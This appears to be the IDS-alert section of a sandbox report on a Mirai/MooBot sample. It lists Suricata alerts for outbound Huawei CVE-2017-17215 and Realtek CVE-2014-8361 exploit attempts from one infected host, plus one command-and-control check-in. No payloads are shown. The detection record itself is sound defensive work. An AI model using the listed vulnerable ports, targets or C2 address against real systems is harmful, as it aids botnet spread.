ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 161.55.194.1

Timestamp:	07/20/24-23:10:41.222356
SID:	2829579
Source Port:	39194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 74.125.66.82

Timestamp:	07/20/24-23:10:52.007232
SID:	2027339
Source Port:	39612
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.122.171.255

Timestamp:	07/20/24-23:10:46.817180
SID:	2835222
Source Port:	55198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 144.224.217.126

Timestamp:	07/20/24-23:10:51.909417
SID:	2831300
Source Port:	38412
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 59.72.27.90

Timestamp:	07/20/24-23:10:51.898994
SID:	2027339
Source Port:	40010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.77.255.75

Timestamp:	07/20/24-23:11:03.306086
SID:	2829579
Source Port:	45090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 104.230.225.200

Timestamp:	07/20/24-23:10:41.237255
SID:	2829579
Source Port:	53572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.54.131.204

Timestamp:	07/20/24-23:11:03.394674
SID:	2835222
Source Port:	47660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 83.91.222.86

Timestamp:	07/20/24-23:10:52.024960
SID:	2027339
Source Port:	52202
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 171.65.238.111

Timestamp:	07/20/24-23:10:47.679048
SID:	2025132
Source Port:	44138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 44.223.237.79

Timestamp:	07/20/24-23:10:52.572631
SID:	2835222
Source Port:	39952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 90.25.2.138

Timestamp:	07/20/24-23:10:43.793685
SID:	2027339
Source Port:	41340
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 140.237.151.135

Timestamp:	07/20/24-23:10:49.428717
SID:	2829579
Source Port:	51824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.33.95.235

Timestamp:	07/20/24-23:10:56.035713
SID:	2835222
Source Port:	55218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 72.211.196.78

Timestamp:	07/20/24-23:10:51.992277
SID:	2831300
Source Port:	51436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.10.159.159

Timestamp:	07/20/24-23:10:49.425318
SID:	2835222
Source Port:	34702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.152.98.79

Timestamp:	07/20/24-23:10:55.995070
SID:	2829579
Source Port:	50176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 213.170.158.66

Timestamp:	07/20/24-23:10:56.024382
SID:	2829579
Source Port:	55890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.104.176.136

Timestamp:	07/20/24-23:11:06.686627
SID:	2829579
Source Port:	51086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.203.9.22

Timestamp:	07/20/24-23:11:06.683012
SID:	2835222
Source Port:	46472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.94.138.141

Timestamp:	07/20/24-23:10:59.028826
SID:	2829579
Source Port:	53266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 42.146.219.162

Timestamp:	07/20/24-23:10:51.957773
SID:	2831300
Source Port:	36992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.31.117.19

Timestamp:	07/20/24-23:11:06.687949
SID:	2829579
Source Port:	43908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.20.107.59

Timestamp:	07/20/24-23:10:46.865461
SID:	2835222
Source Port:	41094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.120.253.61

Timestamp:	07/20/24-23:11:03.381593
SID:	2829579
Source Port:	37798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 187.182.235.57

Timestamp:	07/20/24-23:10:42.642008
SID:	2027339
Source Port:	43394
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.207.150.154

Timestamp:	07/20/24-23:10:49.428717
SID:	2835222
Source Port:	47030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 195.250.121.139

Timestamp:	07/20/24-23:10:44.070152
SID:	2027339
Source Port:	60640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.189.66.214

Timestamp:	07/20/24-23:11:06.689939
SID:	2835222
Source Port:	56614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 54.88.153.73

Timestamp:	07/20/24-23:11:06.689532
SID:	2829579
Source Port:	38992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 146.152.172.252

Timestamp:	07/20/24-23:11:06.662677
SID:	2835222
Source Port:	47192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 168.198.240.255

Timestamp:	07/20/24-23:10:39.493967
SID:	2835222
Source Port:	39416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 65.211.208.187

Timestamp:	07/20/24-23:10:42.642008
SID:	2027339
Source Port:	52644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.240.6.148

Timestamp:	07/20/24-23:10:52.558618
SID:	2835222
Source Port:	45628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 57.98.148.229

Timestamp:	07/20/24-23:10:43.627792
SID:	2025132
Source Port:	44342
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 77.201.115.63

Timestamp:	07/20/24-23:10:43.423928
SID:	2025132
Source Port:	36688
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 186.61.106.15

Timestamp:	07/20/24-23:10:46.756934
SID:	2835222
Source Port:	50258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.100.48.167

Timestamp:	07/20/24-23:10:52.546429
SID:	2829579
Source Port:	54460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.72.216.186

Timestamp:	07/20/24-23:10:41.232384
SID:	2835222
Source Port:	38498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.238.194.50

Timestamp:	07/20/24-23:10:39.469559
SID:	2835222
Source Port:	45784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.175.146.33

Timestamp:	07/20/24-23:11:06.662677
SID:	2829579
Source Port:	52308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.182.32.204

Timestamp:	07/20/24-23:10:39.473748
SID:	2835222
Source Port:	40464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 169.249.196.201

Timestamp:	07/20/24-23:10:40.065143
SID:	2025132
Source Port:	47514
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.219.171.239

Timestamp:	07/20/24-23:10:41.232384
SID:	2829579
Source Port:	35796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.160.200.207

Timestamp:	07/20/24-23:10:39.497131
SID:	2829579
Source Port:	54880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 46.169.99.175

Timestamp:	07/20/24-23:10:51.923394
SID:	2831300
Source Port:	35708
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.50.118.84

Timestamp:	07/20/24-23:10:40.644796
SID:	2829579
Source Port:	56962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 177.96.215.245

Timestamp:	07/20/24-23:10:47.624070
SID:	2025132
Source Port:	52384
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 8.190.85.240

Timestamp:	07/20/24-23:10:44.478714
SID:	2027339
Source Port:	58220
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.244.25.122

Timestamp:	07/20/24-23:10:39.437234
SID:	2835222
Source Port:	35152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 130.142.173.122

Timestamp:	07/20/24-23:10:51.955739
SID:	2831300
Source Port:	51558
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 137.150.64.194

Timestamp:	07/20/24-23:10:45.047768
SID:	2025132
Source Port:	44224
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 134.159.51.161

Timestamp:	07/20/24-23:10:51.915608
SID:	2027339
Source Port:	38824
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.0.200.163

Timestamp:	07/20/24-23:11:06.646712
SID:	2829579
Source Port:	53262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.58.251.46

Timestamp:	07/20/24-23:10:40.607363
SID:	2835222
Source Port:	59396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 57.100.65.212

Timestamp:	07/20/24-23:10:44.234530
SID:	2027339
Source Port:	54544
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.168.3.223

Timestamp:	07/20/24-23:10:42.250387
SID:	2835222
Source Port:	55058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 64.161.87.250

Timestamp:	07/20/24-23:10:40.644796
SID:	2829579
Source Port:	36006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.79.166.87

Timestamp:	07/20/24-23:10:46.817180
SID:	2829579
Source Port:	46062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.133.193.71

Timestamp:	07/20/24-23:10:41.673540
SID:	2835222
Source Port:	34538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.1.254.127

Timestamp:	07/20/24-23:10:49.428717
SID:	2835222
Source Port:	51582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 68.197.157.97

Timestamp:	07/20/24-23:10:41.224086
SID:	2835222
Source Port:	51878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.34.161.2

Timestamp:	07/20/24-23:10:55.999553
SID:	2835222
Source Port:	46812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.187.86.221

Timestamp:	07/20/24-23:10:59.021280
SID:	2829579
Source Port:	56238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 119.144.252.148

Timestamp:	07/20/24-23:11:03.339788
SID:	2835222
Source Port:	43930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.175.193.56

Timestamp:	07/20/24-23:10:41.230071
SID:	2829579
Source Port:	51626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.114.206.140

Timestamp:	07/20/24-23:10:39.430384
SID:	2835222
Source Port:	60270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.115.128.14

Timestamp:	07/20/24-23:11:06.712307
SID:	2829579
Source Port:	59976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 64.61.109.158

Timestamp:	07/20/24-23:10:39.996007
SID:	2027339
Source Port:	57284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 172.191.63.12

Timestamp:	2024-07-20T23:10:40.944199+0200
SID:	2835222
Source Port:	38834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.111.167.228

Timestamp:	2024-07-20T23:10:42.273611+0200
SID:	2835222
Source Port:	47842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 109.223.47.42

Timestamp:	2024-07-20T23:10:41.674250+0200
SID:	2835222
Source Port:	53106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 90.4.66.163

Timestamp:	2024-07-20T23:10:43.520804+0200
SID:	2027339
Source Port:	38748
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.55.149.13

Timestamp:	2024-07-20T23:10:41.693757+0200
SID:	2835222
Source Port:	45120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.252.7.7

Timestamp:	2024-07-20T23:10:52.112364+0200
SID:	2027339
Source Port:	59166
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.30.229.13

Timestamp:	2024-07-20T23:10:39.487008+0200
SID:	2835222
Source Port:	39482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.174.153.88

Timestamp:	2024-07-20T23:10:42.276190+0200
SID:	2835222
Source Port:	57540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.91.148.53

Timestamp:	2024-07-20T23:10:41.679495+0200
SID:	2835222
Source Port:	49732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.109.172.235

Timestamp:	2024-07-20T23:10:39.497131+0200
SID:	2835222
Source Port:	43856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 111.75.183.223

Timestamp:	2024-07-20T23:10:44.637700+0200
SID:	2027339
Source Port:	36958
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.15.133.184

Timestamp:	2024-07-20T23:10:41.693757+0200
SID:	2835222
Source Port:	60384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.146.154.155

Timestamp:	2024-07-20T23:10:39.499880+0200
SID:	2835222
Source Port:	46082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.216.232.236

Timestamp:	2024-07-20T23:10:41.237750+0200
SID:	2835222
Source Port:	38648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.126.18.168

Timestamp:	2024-07-20T23:10:42.259178+0200
SID:	2835222
Source Port:	50632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.129.238.186

Timestamp:	2024-07-20T23:10:41.682592+0200
SID:	2835222
Source Port:	37194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.0.171.6

Timestamp:	2024-07-20T23:10:41.673540+0200
SID:	2835222
Source Port:	39852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 128.242.117.249

Timestamp:	2024-07-20T23:10:40.934982+0200
SID:	2835222
Source Port:	39404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 196.4.129.234

Timestamp:	2024-07-20T23:10:41.677529+0200
SID:	2835222
Source Port:	53678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 15.235.203.214

Timestamp:	2024-07-20T23:10:36.948534+0200
SID:	2030490
Source Port:	50866
Destination Port:	2466
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 170.219.73.31

Timestamp:	2024-07-20T23:10:40.934007+0200
SID:	2835222
Source Port:	40844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.28.182.30

Timestamp:	2024-07-20T23:10:42.282535+0200
SID:	2835222
Source Port:	33642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.31.78.156

Timestamp:	2024-07-20T23:10:40.944484+0200
SID:	2835222
Source Port:	36556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 112.183.31.205

Timestamp:	2024-07-20T23:10:40.373501+0200
SID:	2027339
Source Port:	39574
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.81.78.42

Timestamp:	2024-07-20T23:10:41.693757+0200
SID:	2835222
Source Port:	34170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.17.147.201

Timestamp:	2024-07-20T23:10:41.220491+0200
SID:	2835222
Source Port:	36924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.216.192.26

Timestamp:	2024-07-20T23:10:41.689073+0200
SID:	2835222
Source Port:	56746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.92.61.85

Timestamp:	2024-07-20T23:10:41.693872+0200
SID:	2835222
Source Port:	55846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 152.73.4.67

Timestamp:	2024-07-20T23:10:48.599248+0200
SID:	2027339
Source Port:	56388
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 44.121.163.52

Timestamp:	2024-07-20T23:10:39.499338+0200
SID:	2835222
Source Port:	34876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 71.216.86.69

Timestamp:	2024-07-20T23:10:48.709947+0200
SID:	2027339
Source Port:	40876
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

